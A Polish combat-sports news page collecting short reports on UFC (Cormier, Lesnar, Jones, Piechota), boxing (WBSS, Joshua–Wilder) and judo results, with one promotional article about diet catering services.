Popularny "DC" spełnił marzenia i przeszedł do historii UFC. Utarł nosa Jonowi Jonesowi i innym, którzy w niego wątpili. Na gali UFC 226 Cormier w pierwszej rundzie znokautował mistrza wagi ciężkiej Stipego Miocica. 39-latek jest posiadaczem pasów w kategorii półciężkiej i królewskiej. Wielka radość, ale i kolejne wyzwania. Na horyzoncie pojawił się Brock Lesnar. Cormier chce walczyć z byłym czempionem UFC (2008-2010), a ten jest gotów podjąć wyzwanie. Już w T-Mobile Arenie doszło do przepychanek i ostrej wymiany zdań między zawodnikami. Prezydent UFC Dana White podkreśla, że cały świat chce zobaczyć tę walkę, więc zapewne do niej dojdzie.

Nie tak od razu. Trzeba czekać ze względu na sytuację Lesnara. 41-latek urodzony w Webster ma na sumieniu stosowanie niedozwolonych środków, które wykryto w jego organizmie po zwycięskiej walce z Markiem Huntem. Następnie pojedynek uznano za nierozstrzygnięty. Z kolei Lesnar został zawieszony na rok. Miesiące mijały (blisko pół roku), a Amerykanin podjął decyzję o zakończeniu kariery. Pozostała część kary została utrzymana w mocy, co powoduje, że mimo decyzji o powrocie do rywalizacji Lesnar nadal musi czekać na wejście do oktagonu. Teraz zawodnik znalazł się pod baczną obserwacją Amerykańskiej Agencji Antydopingowej.  – Po otrzymaniu zawiadomienia o zamiarze uczestnictwa w UFC, USADA ponownie wprowadziła 3 lipca Brocka Lesnara do puli zawodników poddawanych testom antydopingowym – czytamy w oświadczeniu USADA.

Wedle pierwszych doniesień Cormier i Lesnar mieli spotkać się w listopadzie br., jednak wydaje się to mało prawdopodobne. 41-latek będzie mógł wrócić do rywalizacji w przyszłym roku. – Po sześciu miesiącach i czterech dniach, które pozostały w okresie zakazu startów, Lesnar będzie mógł wrócić do rywalizacji 8 stycznia 2019 r. lub później, jeśli pozostanie w zgodzie z zasadami antydopingowymi UFC – podkreśla USADA.

Nie pozostaje nic innego, jak czekać. Wiadomo, że atmosfera po UFC 226 jest gorąca. Z pewnością Dana White nie pozwoli, aby temperatura opadła. Warto dodać, że Cormier stawia jeden warunek – Lesnar musi być zupełnie czysty.

Źródło: mmafighting.com

Fot. Daniel Cormier Facebook

KM

Polacy wśród najlepszych w Gdyni

Puchar Europy Juniorów w judo w Gdyni udany dla biało-czerwonych. Polacy łącznie wywalczyli siedem medali i zajęli piąte miejsce w klasyfikacji końcowej. Najlepiej wypadli Holendrzy (17 krążków).

Ponad 300 zawodniczek i zawodników pojawiło się na starcie PEJ w Gdyni. W tym gronie było 80 reprezentantów Polski. Najwięcej powodów do radości miał Sebastian Ołdak (90kg), który sięgnął po złoto. 19-latek rywalizację w Gdyni rozpoczął od wygranej z Ralphem Hoogeboomem. Kolejne potyczki Ołdak rozstrzygał na swoją korzyść przed czasem. Polak odprawił Francuza Sofiane Aita Mohameda Amera oraz Białorusina Antona Sachylovicha. W finale Ołdak pokonał Holendra Raymonda de Vosa. Dla 19-letniego Polaka to drugie podium w międzynarodowych zawodach w tym roku. W marcu wywalczył trzecie miejsce w Sarajewie.

Kolejny dobry występ zaliczyła Paulina Dziopa (+78kg). Judoczka Czarnych Bytom wygrała ostatnio zawody w Leibnitz, a w Sarajewie była trzecia. Start w Gdyni zakończyła na drugiej pozycji. W półfinałowym starciu przed czasem Dziopa odprawiła Katarzynę Madajewską. Do wykonania pozostał ostatni krok. W finale Dziopa spotkała się z piątą zawodniczką ubiegłorocznych mistrzostw Europy kadetów Laurą Fuseau. Francuzka judoczka triumfowała przed czasem.

Świetnie turniej w Gdyni rozpoczęła Aleksandra Kaleta (52kg). Dwie wygrane sprawiły, że Polka znalazła się w strefie medalowej. W półfinale przeszkodą nie do przejścia okazała się Coraline Marcus Tabellion. Ostatecznie Kaleta sięgnęła po brąz pokonując Jagodę Tątę. Również Katarzyna Madajewska (+78kg) stanęła na najniższym stopniu podium. W walce o brąz pokonała przed czasem Wiktorię Lis. Na trzecim miejscu uplasowała się również Paulina Szlachta (48kg). Niespełna 18-letnia judoczka zmagania w Gdyni rozpoczęła od porażki, ale następnie poradziła sobie w repasażach. W starciu o brąz Szlachta pokonała Danutę Majcher.

Po Sarajewie, czas na podium w Gdyni. W Bośni Krzysztof Załęczny triumfował, teraz musiał zadowolić się brązem. Długą drogę do podium miał Arkadiusz Dziarmaga. Polak musiał radzić sobie w repasażach, gdzie zanotował dwa zwycięstwa i w decydującym momencie przypieczętował zdobycie brązowego medalu.

W Gdyni nie mieli sobie równych Holendrzy. Zawodnicy z kraju tulipanów i wiatraków zdobyli 17 medali, w tym sześć złotych. Za ich plecami Francuzi (9, w tym trzy z najcenniejszego kruszcu) oraz Ukraińcy (3, dwa złote).

Fot. pixabay.com

KM

Oczekiwanie na rozstrzygnięcia

Blisko rok temu wyłoniono pary ćwierćfinałowe turnieju World Boxing Super Series. Pozostały dwie niewiadome – kto okaże się najlepszy w kategorii super średniej i junior ciężkiej?

Na finałowe walki czekamy od lutego, kiedy to odbyły się półfinały. W kategorii super średniej o triumf powalczą George Groves i Callim Smith, zaś w junior ciężkiej Oleksandr Usyk i Murat Gassijew. Teoretycznie wszystko powinno być jasne, bo planowano, że decydujące boje odbędą się w połowie roku, jednak tak się nie stało. Usyk z Gassijewem mieli zmierzyć 11 maja, ale ze względu na kontuzję łokcia Ukraińca termin trzeba było przesunąć. Pojedynek odbędzie się 21 lipca w Moskwie, a stawką walki będą cztery pasy mistrzowskie kategorii junior ciężkiej – IBF, WBA, WBC, WBO. Podobnie sytuacja wygląda z finałowym starciem w kategorii super średniej. Planowano, że Groves i Smith zmierzą się w czerwcu, jednak kontuzja tego pierwsza wiązała się z koniecznością przełożenia walki. Wszystko wskazuje na to, że finał WBSS odbędzie się we wrześniu.

Przypomnijmy, na starcie rywalizacji World Boxing Super Series pojawiło się 16 bokserów (po 8 w każdej kategorii). Nie zabrakło polskiego akcentu. W wadze junior ciężkiej zaprezentował się Krzystzof Włodarczyk, jednak "Diablo" w październiku w Prudential Centre przegrał przez nokaut w trzeciej rundzie z Gassijewem. Rosjanin pokazał moc również w półfinale, kiedy to w Soczi w dwunastej rundzie położył na deski Yuniera Dorticosa. Z kolei droga Usyka do finału wiodła przez pojedynki z Marco Huckiem i Mairisem Briedisem.  W wadze super średniej zmagania w WBSS rozpoczęły się od ćwierćfinałowego starcia Calluma Smitha i Erika Skoglunda. Na punkty wygrał Brytyjczyk, który w półfinale pokonał Nieky'ego Holzkena. Jamie Cox poczuł siłę Georges Grovesa. Mistrz WBA w czwartej rundzie zakończył rywalizację i awansował do półfinału, w którym uporał się z Chrisem Eubankiem Jr (na punkty).

Czekając na rozstrzygnięcia pierwszej edycji WBSS, należy szykować się do kolejnej. Ta wystartuje jesienią. Na pewno rywalizować będą pięściarze w wagach koguciej i super lekkiej. Mówi się, że 21 lipca zostanie ogłoszona trzecia kategoria. Prawdopodobnie będzie to waga junior ciężka, a jednym z kandydatów do startu jest Krzysztof Głowacki.

Fot. Александр Усик / Usyk Facebook

KM

Trzecia walka Piechoty w UFC

Na gali The Ultimate Fighter 27 Finale po raz trzeci w UFC zaprezentuje się Oskar Piechota. 6 lipca w T-Mobile Arenie w Las Vegas rywalem polskiego zawodnika MMA będzie Gerald Meerschaert.

Nieco ponad rok temu (czerwiec 2017) Oskar Piechota zasiadł na tronie organizacji Cage Warriors. Polak rozbił Jasona Radcliffa w starciu o pas wagi średniej w zaledwie 32 sekundy! Występ 28-latka nie przeszedł bez echa. Przed pojedynkiem z Radcliffem mówiono, że wygrana może być dla Polaka przepustką do UFC. Piechota nie mógł zrobić sobie lepszej reklamy. Pokazał siłę, skuteczność i wysoką klasę sportową. Drzwi do UFC stały dla polskiego zawodnika otworem.

Piechota obrał zwycięski kurs. Dla wielu pierwsze występy w UFC wiążą się z potężnym ładunkiem emocjonalnym, który potrafi sparaliżować. Zawodnik z Gdańska rozpoczął przygodę z amerykańską organizacją bez żadnych kompleksów. W tym przypadku znaczenie mógł mieć fakt, że zawodnik debiutował w UFC na własnej ziemi. Gala odbyła się w trójmiejskiej Ergo Arenie, a Piechota wypunktował Jonathana Wilsona i sędziowie jednogłośnie wskazali na Polaka. W drugim występie w amerykańskiej organizacji gdańszczanin również nie zawiódł. Na UFC Fight Night 128 Piechota szybko uporał się z Timem Williamsem, który początkowo kontrolował dystans, jednak w końcu otrzymał potężny prawy sierpowy. Rywal padł na deski, a Polak dokończył dzieło! Nie pozostaje nic innego jak kontynuować świetnie rozpoczętą przygodę w najlepszej organizacji MMA na świecie.

Na TUF 27 Piechota zmierzy się z Geraldem Meerschaertem, który będzie najbardziej wymagającym spośród dotychczasowych rywali Polaka. 30-letni Amerykanin stoczy piątą walkę w UFC. Dotychczas wygrał trzy, przegrał tylko z Thiago Santosem. Co istotne, wszystkie pojedynki Meerschaerta w UFC kończyły się przed czasem. Domeną Amerykanina są poddania. Aż 19 zwycięskich walk zakończył w taki sposób. Potrafi znakomicie doprowadzić do duszenia, momentalnie przechwytuje głowę rywala i wykonuje zdecydowany krok w stronę wygranej.

Oskar Piechota musi się mieć na baczności, jednak jego bogaty repertuar jest podstawą do osiągnięcia sukcesu. Parter przed Polakiem  nie ma żadnych tajemnic, z kolei w stójce – potężną bronią 28-latka jest lewy sierpowy. Piechota ma na koncie 11 zwycięstw, w tym 10 przed czasem. Wygrana z Meerschaertem umocni jego pozycję w UFC i być może sprawi, że znajdzie się w najlepszej 15. kategorii średniej.

Fot. Oskar Piechota Facebook

KM

Catering dietetyczny – modny czy wygodny?

Moda na zdrowy styl życia już dawno przestała być tylko modą, ale catering dietetyczny, akurat w Polsce zagościł stosunkowo niedawno. Mimo wszystko zyskuje na uznaniu, bo ci, którzy są chętni na taki wydatek i próbę podjęcia modyfikacji codziennego jadłospisu z taką pomocą, szybko przekonują się o zaletach. Tych ostatnich jest zdecydowanie więcej niż wad, a jeśli dobrze poszukamy i wybierzemy naprawdę sensowną ofertę, minusów nie znajdziemy. Czy catering dietetyczny jest dziś zatem modny, czy tylko wygodny? A może jedno i drugie?

Na pewno wygodnie, ale…

Posiłki dostarczane na cały dzień pod wskazany adres i o dogodnej godzinie. Nie interesują nas zakupy, gotowanie, sprzątanie po gotowaniu. Właściwie to nic nas nie interesuje poza ceną i tym, by pod ręką mieć sztućce do jedzenia. Wybieramy konkretną dietę, a propozycji różnorodnych diet w firmach cateringowych jest coraz więcej. Usatysfakcjonowani mogą być ci, którzy po prostu potrzebują racjonalnego jadłospisu, bo nie mają czasu na gotowanie, jak i ci, którzy chcą zrzucić zbędne kilogramy.

Wygodnie? Ależ oczywiście. Wbrew temu, co mówią przeciwnicy, nie musi to być sposób żywienia dla leniwych bądź taki, który sprawia, że zaczynamy zapominać, jak się gotuje ziemniaki i robi kanapki na śniadanie. Wygoda ma w tym wypadku pozytywny wydźwięk, bo gdy jemy wartościowe i zdrowe posiłki, mamy więcej energii do działania, lepiej się czujemy, jesteśmy efektywniejsi tak w życiu codziennym, jak i w pracy. Nie musimy jednak martwić się o ten deficytowy czas, którego brak na odpoczynek, a co dopiero przyrządzanie wymyślnych dań. Co więcej, ten zdrowy i dobrze zbilansowany jadłospis, a tym bardziej ten, który ma na celu wspomóc proces odchudzania, wymaga trzymania się ściśle określonych porcji. Kto ma na to czas w dzisiejszym świecie?

Propozycja cateringu dietetycznego, jest dowodem na to, że w rozsądnych pieniądzach można odżywiać się zdrowo, a zaoszczędzony czas przeznaczyć na to, na co dotychczas było go zwyczajnie brak. Jest zatem wygodnie, choć trzeba liczyć się z inwestycją.

Moda na zdrowe jedzenie

Pewnie znajdzie się i taka grupa osób, która pójdzie w catering dietetyczny ze względu na to, iż w najbliższym otoczeniu większość będzie korzystać z diet pudełkowych. Presja otoczenia niejednokrotnie robi swoje. Nie chcemy czuć się gorsi, więc stawiamy na to, co inni. Podejmujemy zachowania podobnie, jak cała reszta grupy, mimo iż nie do końca się z nimi zgadzamy. To jednak droga na krótką metę, bo gdy ktoś nie lubi takiego jedzenia, a do tego nigdy nie miał problemów ze zdrowiem i utrzymaniem prawidłowej masy ciała, za jakiś czas powróci do swoich nawyków i trudno będzie mu się oprzeć ulubionym potrawom czy przekąskom.

Właściwie tylko o takim aspekcie mody można mówić w przypadku diet pudełkowych. W zdecydowanej większości chodzi o tę pozytywną wygodę, której potrzeba osobom zapracowanym. Szukamy bowiem rozwiązań pozwalających ułatwić sobie zmagania z dniem codziennym i nawałem obowiązków, a dzięki cateringowi dietetycznemu możemy liczyć także na racjonalny jadłospis, którego dotąd było brak.

Zalety cateringu dietetycznego

Jest jeszcze jedna bardzo ważna zaleta cateringu dietetycznego, która w dużej mierze dotyczy singli. Gotowanie obiadu na jedną porcję, bardzo często mija się z celem. Część z naszych potraw ląduje w koszu, bo na drugi dzień nie smakują już zbyt dobrze bądź wolimy świeże jedzenie. A zrobienie sałatki, dwudaniowego obiadu czy kolacji dla jednej osoby, czasami jest nieopłacalne. Tak finansowo, jak i czasowo. Ostatecznie sięgamy po jedzenie na wynos – dalekie od zdrowego i wartościowego, wydając więcej pieniędzy i wcale nie dbając o swój organizm.

Opłacalność na pierwszym miejscu

Gdy wygoda i moda to dla nas elementy ważne, pozostaje zastanowić się nad opłacalnością takiego przedsięwzięcia. Ceny za całodniowe posiłki, licząc na miesiąc, wahają się od tysiąca do nawet dwóch czy trzech tysięcy złotych. Dużo? W porównaniu do budżetu, którym dysponujemy, nierzadko dużo. Z drugiej strony, nawet samotnie mieszkająca osoba, ze względu na powyższe czynniki, ale i uwzględniając ceny produktów spożywczych, czas przeznaczony na zakupy i gotowanie, miesięcznie wyda przynajmniej 600-800 zł na jedzenie. Różnica staje się coraz mniejsza. Gdy do tego gotujemy dla większej ilości osób, na swoim koncie z powodzeniem możemy zanotować zakupy na sumaryczną kwotę powyżej 1000 złotych.

Możemy spokojnie sami teraz odpowiedzieć sobie na pytanie, co jest bardziej opłacalne. Wybrać, czy moda i wygoda w tym wypadku spełnią nasze oczekiwania, czy jednak kuchnia to nasz żywioł i niezależnie od czasu oraz finansów, wolimy samodzielnie przygotowane posiłki.

Więcej informacji o cateringu dietetycznym pod adresem https://www.eatzone.pl

Polski judoka z brązowym medalem ME

Rosjanie zdominowali mistrzostwa Europy kadetów w judo, które odbyły się w Sarajewie. Dla Polski brązowy medal wywalczył Wojciech Kordyalik (+90kg).

Biało-czerwoni wypadli gorzej niż rok temu. Z Kowna Polska przywiozła dwa brązowe medale autorstwa Nikoli Szlachty i Natalii Kropskiej. W Sarajewie formą błysnął Wojciech Kordyalik, który przed rozpoczęciem mistrzostw Europy  zapowiadał, że będzie walczył o złoto. Zawodnik WKS Śląsk Wrocław miał podstawy, aby składać takie deklaracje. Od początku roku stawał na podium zawodów rangi Pucharu Europy. W Sarajewie nie mogło być inaczej. Kordyalik rozpoczął zgodnie z planem i w mgnieniu oka odprawił Antona Plakhotnyka i Igora Vracara. Przed półfinałem wiadomo było, że młodego Polaka czeka niezwykle trudne wyzwanie. Los skojarzył Kordyalika z Richardem Sipoczem, a Węgier ma na swoim koncie mistrzostwo Europy kadetów wywalczone w 2016 roku. Rok później zdobył srebro. W tym roku triumfował w trzech z czterech zawodów pucharowych. Walka o wejście do finału trwała dwie minuty. Kordyalik musiał uznać wyższość Sipocza, który następnie sięgnął po złoto. Zawodnikowi WKS Śląsk Wrocław pozostała walka o brąz. Francuz Mathias Anglionin nie miał jednak zbyt wiele do powiedzenia w rywalizacji z polskim judoką.

Dobrze zmagania w Sarajewie rozpoczęła Julia Jaroszewska (70kg), która na początek wyeliminowała Denisę Marin. W kolejnym starciu na Polkę czekała mocna Daria Kariankina. Rosjanka notuje fantastyczne występy i dobrą formę potwierdziła w Sarajewie sięgając po srebro. Jaroszewskiej pozostała walka w repasażach, gdzie wygrała jeden pojedynek. Na drodze do starcia o brąz stanęła jej Metka Lobnik. Polka została sklasyfikowana na siódmej pozycji.

Trzy pojedynki, ale tylko jedna wygrana – to bilans Kingi Wolszczak (70kg), która zajęła dziewiątą pozycję. Po jednym zwycięstwie na swoim koncie zapisali Maria Łętkowska (+70kg) oraz Szymon Szymański (60kg). Pozostali Polacy pożegnali się z mistrzostwami Europy po pierwszych walkach.

Bezkonkurencyjni Rosjanie

W Sarajewie karty rozdawali Rosjanie. Reprezentanci Sbornej wystąpili łącznie w dziesięciu finałach, z których siedem zakończyło się ich sukcesem. Do tego dołożyli jeszcze brąz. Drugie miejsce w klasyfikacji medalowej dla Francji, która zdobyła… trzy medale (dwa złote). Podium uzupełnili Włosi z sześcioma krążkami (złoto, cztery srebra i brąz).

W zmaganiach drużynowych (mix) najlepsi okazali się Rosjanie, którzy w finale pokonali Holandię. Na podium również Turcja i Rumunia.

Fot. European Union Judo

KM

Droga pełna zakrętów

Wydawałoby się, że osiągnąć porozumienie to nic trudnego. A jednak… Obozy Anthony’ego Joshuy i Deontaya Wildera dyskutowały, ale wielkiej walki w wadze ciężkiej nie należy spodziewać się w najbliższym czasie. W takim razie – kiedy?

Rzecz jasna, że podstawą każdego widowiska jest odpowiednie zainteresowanie. Czasami trzeba ciężko pracować, aby wypromować dane wydarzenie. Ale Joshua i Wilder to nazwiska, które każdego miłośnika boksu (i nie tylko) stawiają na nogi, a ich pojedynek byłby niezwykle smakowitym kąskiem. Gwarancja sukcesu – praktycznie pod każdym względem. Ale trzeba pamiętać, że coś na pozór idealnego można zepsuć.

Sukcesy Joshuy i Wildera sprawiły, że ich zestawienie stało się sprawą oczywistą. Toczyły się rozmowy na temat daty, miejsca i oczywiście pieniędzy. Już wydawało się, że wszystko jest na dobrej drodze. Mistrz świata WBC był gotów zmierzyć się z Joshuą latem na Wembley. Dodatkowo menadżer Wildera przyznał, że bokser jest skłonny przystać na podział zysków 60 do 40 na korzyść rywala. Czego chcieć więcej?

Wypada również wspomnieć, że po drodze nie brakowało „przepychanek słownych”. Wilder wyzywał Joshuę na pojedynek i utrzymywał, że 28-latek z Watfordu się go boi. Z kolei czempion IBF, WBA, WBO i IBO zapewniał gotowość do rywalizacji, jednak obóz Amerykanina nie był skłonny udzielić odpowiedzi na przesłaną ofertę. Eddie Hearn, promotor Brytyjczyka, stoi na stanowisku, że Wilder nie chce walczyć z Joshuą. Z kolei federacja WBA naciska w sprawie obowiązkowej obrony z Aleksandrem Powietkinem. I tak może być w nieskończoność. Machina musi się kręcić… A wszyscy czekają.

Czy walka Joshuy z Wilderem jest realna w 2018 roku? Wydaje się, że nie. Eddie Hearn patrzy raczej w kierunku Powietkina. Z kolei Wilder jest zdegustowany całą sytuacją, czemu dał wyraz. – Przepraszam Was wszystkich, oni nas oszukali! Pieprzyć ich! Jedziemy dalej – zabrał głos Deontay Wilder. 32-letni Amerykanin ma kolejny cel w postaci pobicia rekordu Floyda Mayweathera Jr., który zapisał na swoim koncie 50 zwycięstw. Wilder ma ich obecnie 40.

Temat pojedynku czempionów wagi ciężkiej nadal jest na pierwszym planie. Obecnie mówi się, że prawdopodobny termin hitowego starcia to wiosna przyszłego roku. Ale… W tym przypadku nic nie jest pełne. Tak jak w filmie, w którym nie brakuje zaskakujących zwrotów akcji.

Scenariusze są dwa. Walka pomiędzy Joshuą i Wilderem odbędzie się w ciągu najbliższych miesięcy (2018-2019) albo rozmowy będą trwać w nieskończoność. Na myśl przychodzi tu starcie Floyda Mayweathera Jr. z Manny Pacquiao. Przez wiele lat mówiło się o tej walce, a pięściarze spotkali się u schyłku swoich karier. Czy tak będzie w tym przypadku? Wydaje się to mało prawdopodobne ze względu na fakt, że Joshua i Wilder są na siebie skazani. Na horyzoncie wyzwań nie widać nikogo, kto mógłbym im realnie zagrozić. A co najważniejsze – wziąć udział w budowaniu widowiska pozwalającego wygenerować ogromne zainteresowanie i… zyski. Czy gra na czas jest dobrym rozwiązaniem?

KM

Walka o medale w Sarajewie

28 czerwca w Sarajewie rozpoczną się mistrzostwa Europy kadetów w judo. Impreza potrwa do 1 lipca. O medale będzie walczyło dziewięcioro biało-czerwonych.

Z pewnością młodym judokom nie zabraknie zaangażowania i serca do walki. Podczas każdego treningu doskonalą swoje umiejętności, a w Sarajewie przyjdzie czas na weryfikację możliwości na poziomie europejskim. W mistrzostwach wystartuje blisko 500 zawodniczek i zawodników. – Wiek kadeta jest pierwszym i najtrudniejszym krokiem na wyższy poziom. Młodzi judocy uczą się zdobywać i przezwyciężać silne emocje, triumfy i rozczarowania. Wiele obecnych gwiazd judo osiągało sukcesy, gdy było kadetami. Życzę wszystkim uczestnikom i trenerom niezapomnianych i radosnych przeżyć, które będą podstawą ich przyszłych sukcesów – powiedział Sergey Soloveychik, przewodniczący Europejskiej Unii Judo.

Czy Polacy poprawią wynik z poprzedniego roku? To podstawowe pytanie przed rozpoczęciem mistrzostw Europy w Sarajewie. Rok temu w Kownie Polacy wywalczyli dwa brązowe medale za sprawą Nikoli Szlachty i Natalii Kropskiej. Dodatkowo z dobrej strony pokazały się nasze drużyny. Kadetki zajęły piąte miejsce, zaś kadeci siódme.

Do Sarajewa udało się dziewięcioro reprezentantów Polski. Przez trzy dni rozgrywane będą zawody indywidualne, a ostatniego dnia zmagań zaplanowano rywalizację mikstów. Reprezentacje będą składać się z zawodniczek występujących w wagach: 44kg, 52kg, 63kg, +63kg oraz zawodników: 55kg, 66kg, 81kg oraz +81kg.

Wysoko stoją akcje Kingi Wolszczak (+70kg), która prezentuje równą formę. W ubiegłym roku wygrała zawody w Koper i Gyor. Jej ostatni występ to trzecie miejsce w Teplicach, wcześniej zajęła drugą lokatę w Berlinie. Z podium nie schodzi Wojciech Kordyalik (+90kg). W tegorocznych startach zawodnikowi WKS Śląsk Wrocław do pełni szczęścia brakuje tylko zwycięstwa. Kordyalik był o krok od triumfu w Berlinie, ale lepszy okazał się Omer Aydin z Turcji. Ponadto, Polak zajmował trzecie pozycje w Zagrzebiu i Teplicach.

Reprezentacja Polski na mistrzostwa Europy w Sarajewie: Zuzanna Łogożna (57kg), Agata Pałka (57kg), Julia Jaroszewska (70kg), Kinga Wolszczak (+70kg) i Maria Łętkowska (+70kg), Szymon Szymański (60kg), Mateusz Kozłowski (73kg), Wojciech Grądzki (73kg) i Wojciech Kordyalik (+90kg).

Fot. eju.net

KM

Przepychanki trwają w najlepsze

Głównym wydarzeniem gali UFC 226 będzie walka Daniela Cormiera ze Stipe Miocicem o pas mistrza wagi ciężkiej. Jednak sam pojedynek znalazł się w cieniu… przepychanek, w których pierwsze skrzypce gra Jon Jones.

7 lipca w T-Mobile Arenie w Las Vegas dojdzie do starcia dwóch mistrzów. Cormier dzierży pas w wadze półciężkiej, a Miocić w ciężkiej. Stawką walki wieczoru UFC 226 będzie tytuł w kategorii królewskiej. Miłośnicy MMA ostrzą sobie zęby na to starcie, a do akcji wkracza Jon Jones. Popularny "Bones" odbywa karę za stosowanie niedozwolonych środków, ale chętnie prezentuje własne zdanie. Obiektem jego ataków jest Daniel Cormier. Sam "DC" niedawno stwierdził, że Jones po wpadkach dopingowych nie powinien zabierać głosu. "Bones" obok takich słów nie mógł przejść obojętnie. Wymiana między zawodnikami toczy się w… mediach społecznościowych. – Nie mam prawa głosu, DC? To brzmi głupio. Po latach zawieszenia mam do tego nie mniejsze – jeśli nie większe – prawo niż Ty. Każda Twoja wygrana trafia do mojego CV. Wiem, o kim śnisz w nocy. Twoja żona też o tym wie – napisał Jon Jones.

Z pewnością fakt, że Cormier może zdobyć kolejny pas działa na "Bonesa" jak płachta na byka. 39-letni mistrz wagi półciężkiej dwukrotnie mierzył się z Jonesem. W pierwszym przypadku (UFC 182) przegrał decyzją sędziów. Kolejny raz Jones i Cormier spotkali się w lipcu 2017 roku (UFC 214). Przez nokaut w trzeciej rundzie wygrał "Bones", ale… w jego organizmie wykryto turinabol. Pas pozostał więc w rękach Cormiera, a Jones został ukarany za swoje wybryki zawieszeniem do marca 2019 roku i karą finansową w wysokości 205 tys. dolarów. Na kolejną walkę przyjdzie mu jeszcze trochę poczekać… Jones daje do zrozumienia, że chciałby kolejnej walki z obecnym czempionem wagi półciężkiej.

„Słowne przepychanki” nieco przysłaniają to, co najważniejsze. Pewnie jest, że 7 lipca Cormier może zapisać się w historii MMA jako drugi zawodnik w historii UFC, który znajdzie się w posiadaniu dwóch pasów mistrzowskich. "DC" stanie jednak przed bardzo trudnym zadaniem. Miocić wygrał sześć ostatnich walk, w tym pięć przed czasem. Dotychczas trzykrotnie skutecznie bronił tytułu mistrza wagi ciężkiej.

Cormier i Miocić swoje ostatnie pojedynki stoczyli na gali UFC 220. W walce wieczoru mistrz wagi ciężkiej pokonał decyzją sędziów Francisa Ngannou. Z kolei Cormier przed czasem uporał się z Volkanem Oezdemirem.

Fot. Daniel Cormier Facebook

KM

Srebro polskiego judoki w Pucharze Europy

Łukasz Golus (66kg) wywalczył srebrny medal w zawodach Pucharu Europy w judo w Celje-Podcetrtek. Rywalizację zdominowali Rosjanie, którym kroku starali dotrzymać się Francuzi.

Rok temu Łukasz Golus stoczył w Celje-Podcetrtek cztery walki. Trzy z nich wygrał, zatrzymał go Serb Denis Jurakic. Tym razem zawodnik GKS Czarni Bytom mógł cieszyć się ze srebrnego medalu. Zmagania na Słowenii Polak zaczął zdecydowanie i odprawił Ukraińca Anatolia Martyshchenkę oraz Francuza Benjamina Beauzora. Trudne warunki zwycięzcy Pucharu Europy z Bratysławy z zeszłego roku postawił Mirzoiusuf  Gafurov. Golus wygrał przez waza ari i w półfinale trafił na Matteo Pirasa. Włoch jest zdecydowanie wyżej klasyfikowany niż Polak, ale w Celje-Podcetrtek nie było tego widać. Golus pokonał Pirasa i awansował do finału, jednak w starciu o złoto lepszy okazał się Francuz Vang-Si Nzaou.

Łącznie w Pucharze Europy na Słowenii wystartowało siedmioro Polaków. Dwie zwycięskie walki na swoim koncie zapisał Dominik Majowski (100kg), który w ubiegłym roku w startach juniorskich regularnie stawał na podium. W Celje-Podcetrtek Polak zaczął rywalizację od zwycięstwa, ale po porażce z Danylo Hutsolem trafił do repasaży. Pierwszy pojedynek wygrał, jednak w kolejnym starciu przegrał z Blazem Vrankarem i ostatecznie uplasował się na siódmej pozycji. Dziewiąte miejsce zajęła Marta Wykupil (63kg), która stoczyła łącznie trzy walki, ale triumfowała tylko w jednej.

Od zwycięstwa zmagania w Pucharze Europy rozpoczął Paweł Wawrzyczek (73kg), ale jego przygoda szybko się skończyła. Wszelkich marzeń pozbawił go Niemiec Martin Setz. Bez zwycięstwa rywalizację w Pucharze Europy zakończyli: Dominik Grzywacz (60kg), Adrian Wala (66kg) oraz Jacek Brysz (73kg).

Rosjanie na czele

Siedem medali w Celje-Podcetrtek wywalczyli reprezentanci Sbornej. Taki sam wynik na swoim koncie zapisali Francuzi, ale Trójkolorowi zdobyli trzy brązowe krążki przy dwóch srebrach i brązie Rosjan. Na trzeciej lokacie w klasyfikacji medalowej Niemcy (14 medali, ale tylko dwa złote).

Rosjanie zdecydowanie dominowali w rywalizacji judoków. Yago Abuladze (60kg), Turpal Tepkaev (81kg), Arman Adamian (100kg) oraz Aslan Dzhioev (+100kg) okazali się najlepsi w swoich kategoriach wagowych. U Francuzów złota "rozłożyły" się proporcjonalnie. Triumfowali: Penelope Bonna (52kg) i Melissa Heleine (70kg) oraz Vang-Si Nzaou (66kg) oraz Guillaume Riou (90kg).

Fot. zdjęcie poglądowe

KM

FEN: Przemek Opalach stoczy walkę w K-1

Przemysław Opalach stoczy pojedynek w federacji Fight Exclusive Night w formule K-1. Debiut olsztynianina szykowany jest na drugą połowę 2018 roku.

Kibice sportów walki w Polsce znają Opalach z ringu bokserskiego. To właśnie w szermierce na pięści olsztynianin stoczył 28 pojedynków, z czego 26 wygrał, w tym 21 przed czasem. 20 grudnia 2013 roku Opalach pokonał przez techniczny nokaut Maishę Samsona z Tanzanii, dzięki czemu zdobył tytuł mistrza świata federacji WBF w kategorii super średniej. Niespełna rok później zwyciężył Slavisa Simeunovica i został posiadaczem pasów WBC Baltic, WBF World oraz Międzynarodowym Mistrzem Polski. Opalach ma za sobą znakomitą serię 14 zwycięstw z rzędu. Ostatnim razem pokonany wychodził z ringu w kwietniu 2013 roku. W 2017 roku stoczył trzy walki – wszystkie pewnie wygrał.

– Opalach to znakomity pięściarz, jeden z najlepszych polskich bokserów w kategorii super średniej. Przemek od jakiegoś czasu przygląda się naszym zawodnikom w wadze do 77 kilogramów, jest pod wrażeniem ich umiejętności. Może zmierzy się w przyszłości z którym z nich? To na pewno jedno z rozwiazań na jego karierę w FEN. On jeszcze za dzieciaka trenował muay thai, potem wygrał 30 pojedynków. To kawał zawodnika i wierzę, że będzie wzmocnieniem naszej federacji – powiedział Paweł Jóźwiak, prezes FEN.

Australijska podróż Helda

Od kilku dni Marcin Held jest w Brisbane, gdzie 16 czerwca zadebiutuje w organizacji ACB. Jego rywalem będzie Callan Potter. Na gali ACB 88 zaprezentuje się również Karol Celiński.

W marcu br. Marcin Held związał się umową z rosyjską organizacją. Tyszanin ma za sobą nieudaną przygodę w UFC, gdzie stoczył cztery walki, z których wygrał tylko jedną – z Nasratem Haqparastem w Gdańsku. Umowa Polaka z amerykańską organizacją dobiegła końca, jednak nie pojawiła się nowa propozycja. Held liczył, że uda mu się wystąpić na gali UFC Fight Night 127 w Londynie. 26-latek zgłaszał chęć występu w miejsce kontuzjowanych zawodników, jednak bez efektu. W końcu pojawiła się oferta ze strony ACB, z której Marcin Held postanowił skorzystać.

